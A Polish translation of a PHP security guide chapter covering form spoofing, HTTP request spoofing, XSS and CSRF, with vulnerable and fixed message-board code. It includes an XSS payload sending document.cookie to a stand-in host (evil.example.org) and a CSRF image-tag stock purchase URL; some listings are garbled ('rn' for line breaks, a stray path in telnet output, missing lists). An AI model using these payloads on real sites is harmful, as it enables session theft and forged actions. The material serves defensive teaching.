Shebang.pl

Rozdział 2. Przetwarzanie formularzy

Spoofing zatwierdzania formularzy

Aby zrozumieć jak ważne jest filtrowanie danych, spójrz na poniższy formularz, który mógłby znajdować się pod adresem http://example.org/form.html:

<form action="/process.php" method="POST">
<select name="color">
    <option value="red">czerwony</option>
    <option value="green">zielony</option>
    <option value="blue">niebieski</option>
</select>
<input type="submit" />
</form>

Przypuśćmy, że użytkownik planujący dokonać ataku zapisuje ten formularz i modyfikuje go w następujący sposób:

<form action="http://example.org/process.php" method="POST">
<input type="text" name="color" />
<input type="submit" />
</form>

Ten nowy formularz może być zapisany gdziekolwiek (nie musi to być nawet formularz sieciowy, ponieważ potrzeba tylko, aby mogła go odczytać przeglądarka) i można nim dowolnie manipulować. Dopisany bezwzględny adres URL w atrybucie action sprawia, że żądania POST będą wysyłane w to samo miejsce, co wcześniej.

W ten sposób można bardzo łatwo ominąć wszelkie ograniczenia po stronie klienta, niezależnie czy są one w formie kodu HTML czy działających po stronie klienta skryptów implementujących podstawowe filtry. W tym przypadku element $_POST['color'] nie musi mieć wartości red, green ani blue. Każdy, kto chce może w bardzo łatwy sposób utworzyć formularz, za pomocą którego będzie mógł wygodnie wysłać dowolne dane pod adres URL zawierający skrypt przetwarzający oryginalny formularz.

Spoofing żądań HTTP

Jeszcze bardziej niebezpieczną, ale mniej dogodną techniką jest spoofing żądań HTTP. W przypadku przedstawionego powyżej formularza, w którym użytkownik wybiera jeden z kolorów, tworzone jest żądanie HTTP pokazane na poniższym listingu (przy założeniu, że wybrano kolor czerwony):

POST /process.php HTTP/1.1
Host: example.org
Content-Type: application/x-www-form-urlencoded
Content-Length: 9

color=red

Za pomocą narzędzia telnet można wykonać pewne proste testy. Poniższe polecenie wysyła proste żądanie GET na adres http://www.php.net/:

$ telnet www.php.net 80
Trying 64.246.30.37...
Connected to rs/webmaster/php/przewodnik-po-zabezpieczeniach-aplikacji-php/rozdzial-1-informacje-ogolne/.net.
Escape character is '^]'.
GET / HTTP/1.1
Host: www.php.net

HTTP/1.1 200 OK
Date: Wed, 21 May 2004 12:34:56 GMT
Server: Apache/1.3.26 (Unix) mod_gzip/1.3.26.1a PHP/4.3.3-dev
X-Powered-By: PHP/4.3.3-dev
Last-Modified: Wed, 21 May 2004 12:34:56 GMT
Content-language: en
Set-Cookie: COUNTRY=USA%2C12.34.56.78; expires=Wed,28-May-04 12:34:56 GMT; path=/; domain=.php.net
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html;charset=ISO-8859-1

2083
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01Transitional//EN">
...

Oczywiście zamiast ręcznie wpisywać żądania przy użyciu narzędzia telnet, można napisać własnego klienta. Poniżej znajduje się przykład wysłania takiego samego żądania przy użyciu PHP:

<?php

$http_response = '';

$fp = fsockopen('www.php.net', 80);
fputs($fp, "GET / HTTP/1.1rn");
fputs($fp, "Host: www.php.netrnrn");

while (!feof($fp))
{
    $http_response .= fgets($fp, 128);
}

fclose($fp);

echo nl2br(htmlentities($http_response));

?>

Możliwość wysyłania własnych żądań HTTP daje użytkownikowi pełną kontrolę nad tymi żądaniami i dlatego filtrowanie danych na serwerze jest tak ważne. Bez zastosowania tego typu filtrów nie ma żadnych gwarancji, co do jakości danych pochodzących z zewnętrznych źródeł.

Ataki typu Cross-Site Scripting

Termin cross-site scripting (XSS) został w dużej mierze rozpropagowany przez media i trzeba przyznać, że technika ta zasługuje na to zainteresowanie. Polega ona na wykorzystaniu jednej z najczęściej spotykanych luk w zabezpieczeniach aplikacji sieciowych, którą można znaleźć chociażby w wielu aplikacjach PHP typu open source.

Oto najważniejsze cechy ataków XSS:

Na czym to polega? Jeśli na Twojej stronie wyświetlana jest treść pochodząca z zewnętrznych źródeł bez odpowiedniego przefiltrowania, strona ta jest podatna na ataki XSS. Obce dane to nie tylko te, które są wysyłane przez klienta. Są to także wiadomości e-mail wyświetlane w sieciowym kliencie poczty elektronicznej, treść z kanałów RSS wyświetlana na blogu itp. Wszystko, co nie znajduje się w kodzie źródłowym, jest treścią zewnętrzną, a to oznacza, że większość danych pochodzi z zewnątrz.

Spójrz na poniższą prostą tablicę ogłoszeniową:

<form>
<input type="text" name="message"><br />
<input type="submit">
</form>
<?php

if (isset($_GET['message']))
{
    $fp = fopen('./messages.txt', 'a');
    fwrite($fp, "{$_GET['message']}<br />");
    fclose($fp);
}

readfile('./messages.txt');

?>

Skrypt ten dodaje do tego, co wpisze użytkownik znacznik <br />, dopisuje całość do pliku, a następnie wyświetla aktualną zawartość tego pliku.

Wyobraź sobie, że użytkownik wpisał następującą wiadomość:

<script>
document.location = 'http://evil.example.org/steal_cookies.php?cookies=' + document.cookie
</script>

Następny użytkownik mający włączoną obsługę JavaScriptu, który otworzy tę wiadomość zostanie skierowany na adres evil.example.org i wszystkie dane cookie powiązane z aktualnym serwisem zostaną dołączone do łańcucha zapytania tego adresu URL.

Oczywiście prawdziwy napastnik wykazałby się o wiele większą pomysłowością w zakresie wykorzystania JavaScriptu. Jeśli chcesz, możesz zasugerować lepsze (bardziej szkodliwe) przykłady.

Jak się bronić? Obrona przed atakami XSS jest bardzo łatwa. Najgorsze są przypadki, gdy trzeba przyjąć z zewnętrznych źródeł (np. od użytkowników) kod HTML albo skrypty działające po stronie klienta, a następnie je wyświetlić, chociaż i to nie stanowi problemu nie do rozwiązania. Oto sposoby na zmniejszenie podatności aplikacji na ataki XSS:

Na poniższym listingu przedstawiona jest bezpieczniejsza wersja powyższej tablicy ogłoszeń:

<form>
<input type="text" name="message"><br />
<input type="submit">
</form>
<?php

if (isset($_GET['message']))
{
    $message = htmlentities($_GET['message']);

    $fp = fopen('./messages.txt', 'a');
    fwrite($fp, "$message<br />");
    fclose($fp);
}

readfile('./messages.txt');

?>

Wystarczyło dodać tylko wywołanie funkcji htmlentities(), aby program stał się o wiele bardziej bezpieczny. Nie jest to jeszcze pełne bezpieczeństwo, ale zastosowanie tej funkcji to najprostszy środek, jaki można przedsięwziąć, aby zwiększyć poziom bezpieczeństwa aplikacji. Oczywiście należy przestrzegać wszystkich opisanych do tej pory zasad.

Ataki typu Cross-Site Request Forgery

Mimo podobieństwa nazw, ataki typu cross-site request forgery (CSRF) są prawie dokładnym przeciwieństwem ataków XSS. Podczas gdy atak XSS polega na wykorzystaniu zaufania, jakie użytkownik ma do serwisu internetowego, atak CSRF polega na wykorzystaniu zaufania, jakim serwis internetowy darzy użytkownika. Ataki CSRF są bardziej niebezpieczne i mniej popularne (co oznacza mniej źródeł dla programistów), ale też trudniej jest się przed nimi bronić.

Oto najważniejsze cechy ataków CSRF:

Ponieważ ataki CSRF polegają na fałszowaniu żądań HTTP, ważne jest aby mieć przynajmniej podstawową wiedzę na temat tego protokołu.

Przeglądarka internetowa jest klientem HTTP, a serwer — serwerem HTTP. Klient wysyłając żądanie inicjuje transakcję, a serwer ją kończy wysyłając odpowiedź. Oto typowe żądanie HTTP:

GET / HTTP/1.1
Host: example.org
User-Agent: Mozilla/5.0 Gecko
Accept: text/xml, image/png, image/jpeg, image/gif, */*

Pierwsza linijka to tzw. wiersz żądania, który zawiera definicję metody żądania, jego adres URL (względny) i wersję użytego protokołu HTTP. W pozostałych wierszach znajdują się nagłówki HTTP w formacie: nazwa nagłówka, dwukropek, spacja oraz wartość.

Możliwe, że wiesz jak uzyskać dostęp do tych informacji przy użyciu PHP. Na przykład poniżej znajduje się skrypt zamieniający powyższe żądanie w łańcuch:

<?php

$request = '';
$request .= "{$_SERVER['REQUEST_METHOD']} ";
$request .= "{$_SERVER['REQUEST_URI']} ";
$request .= "{$_SERVER['SERVER_PROTOCOL']}rn";
$request .= "Host: {$_SERVER['HTTP_HOST']}rn";
$request .= "User-Agent: {$_SERVER['HTTP_USER_AGENT']}rn";
$request .= "Accept: {$_SERVER['HTTP_ACCEPT']}rnrn";

?>

Przykładowa odpowiedź na powyższe żądanie może być następująca:

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 57

<html>
<img src="http://example.org/image.png" />
</html>

Treść odpowiedzi to to, co użytkownik widzi w swojej przeglądarce. Obecny w tej odpowiedzi znacznik img informuje przeglądarkę, że do poprawnego wyświetlenia strony konieczne jest pobranie dodatkowego zasobu (obrazu). Przeglądarka wysyła żądanie tego zasobu tak, jakby zażądała każdego innego. Poniżej znajduje się przykład takiego żądania:

GET /image.png HTTP/1.1
Host: example.org
User-Agent: Mozilla/5.0 Gecko
Accept: text/xml, image/png, image/jpeg, image/gif, */*

Należy się temu przyjrzeć. Przeglądarka żąda adresu URL podanego w atrybucie src znacznika img w taki sam sposób, jakby to sam użytkownik wpisał ten adres w przeglądarce. Przeglądarka w żaden sposób nie określa, że oczekuje w odpowiedzi obrazu graficznego.

Połącz tę informację z tym, co już zostało wcześniej napisane o formularzach, a następnie zastanów się nad poniższym adresem URL:

http://stocks.example.org/buy.php?symbol=SCOX&quantity=1000

Zatwierdzenie formularza metodą GET może być nieodróżnialne od żądania obrazu — oba żądania mogą dotyczyć tego samego adresu URL. Gdyby dyrektywa register_globals była włączona, to metoda wysyłania byłaby w ogóle nieważna (chyba że programista nadal używałby tablicy $_POST itp.). Zapewne zaczynasz się domyślać, jakie jest tu niebezpieczeństwo.

Kolejną kwestią, która sprawia, że ataki typu CSRF są tak groźne, jest fakt iż do żądanego adresu URL dołączane są odnoszące się do niego dane cookie. Użytkownik mający jakiś ustalony związek z serwisem stocks.example.org (np. będący w nim zalogowany) może kupić 1000 akcji spółki SCOX wchodząc na stronę zawierającą znacznik img z atrybutem src, którego wartością jest pokazywany wcześniej adres URL.

Spójrz na poniższy formularz, który mógłby znajdować się pod adresem http://stocks.example.org/form.html:

<p>Kup akcje teraz!</p>
<form action="/buy.php">
<p>Symbol: <input type="text" name="symbol" /></p>
<p>Liczba:<input type="text" name="quantity" /></p>
<input type="submit" />
</form>

Jeśli użytkownik w polu symbolu wpisze SCOX, a w polu liczby wpisze 1000 i zatwierdzi formularz, to przeglądarka wyśle żądanie podobne do poniższego:

GET /buy.php?symbol=SCOX&quantity=1000 HTTP/1.1
Host: stocks.example.org
User-Agent: Mozilla/5.0 Gecko
Accept: text/xml, image/png, image/jpeg, image/gif, */*
Cookie: PHPSESSID=1234

Nagłówek Cookie został dodany, aby pokazać użycie cookie do przesyłania identyfikatora sesji. Gdyby znacznik img odwoływał się do tego samego adresu URL, to w żądaniu tego adresu zostałby wysłany ten sam cookie i serwer przetwarzający to żądanie nie odróżniłby tego od prawdziwego zamówienia.

Możliwości ochrony aplikacji przed atakami CSRF jest kilka:

Poniżej znajduje się jeszcze bezpieczniejsza wersja tablicy ogłoszeń:

<?php

$token = md5(time());

$fp = fopen('./tokens.txt', 'a');
fwrite($fp, "$tokenn");
fclose($fp);

?>
<form method="POST">
<input type="hidden" name="token" value="<?php echo $token; ?>" />
<input type="text" name="message"><br />
<input type="submit">
</form>
<?php

$tokens = file('./tokens.txt');

if (in_array($_POST['token'], $tokens))
{
    if (isset($_POST['message']))
    {
        $message = htmlentities($_POST['message']);

        $fp = fopen('./messages.txt', 'a');
        fwrite($fp, "$message<br />");
        fclose($fp);
    }
}

readfile('./messages.txt');

?>

Powyższy kod nie jest jednak całkiem pozbawiony luk w zabezpieczeniach. Widzisz je?

Czas jest bardzo przewidywalny. Dlatego szyfr MD5 znacznika czasu jest słabą namiastką liczby losowej. Lepiej byłoby użyć funkcji uniqid() i rand().

Co ważniejsze, uzyskanie poprawnego tokenu jest dla atakującego bardzo łatwe. Wystarczy wejść na tę stronę, aby poprawny token został wygenerowany i dołączony do źródła. Po uzyskaniu tokenu przeprowadzenie ataku jest tak samo łatwe, jak przed implementacją tego dodatkowego zabezpieczenia.

Oto poprawiona wersja skryptu:

<?php

session_start();

if (isset($_POST['message']))
{
if (isset($_SESSION['token']) && $_POST['token'] == $_SESSION['token'])
    {
        $message = htmlentities($_POST['message']);

        $fp = fopen('./messages.txt', 'a');
        fwrite($fp, "$message<br />");
        fclose($fp);
    }
}

$token = md5(uniqid(rand(), true));
$_SESSION['token'] = $token;

?>
<form method="POST">
<input type="hidden" name="token" value="<?php echo $token; ?>" />
<input type="text" name="message"><br />
<input type="submit">
</form>
<?php

readfile('./messages.txt');

?>
Exit mobile version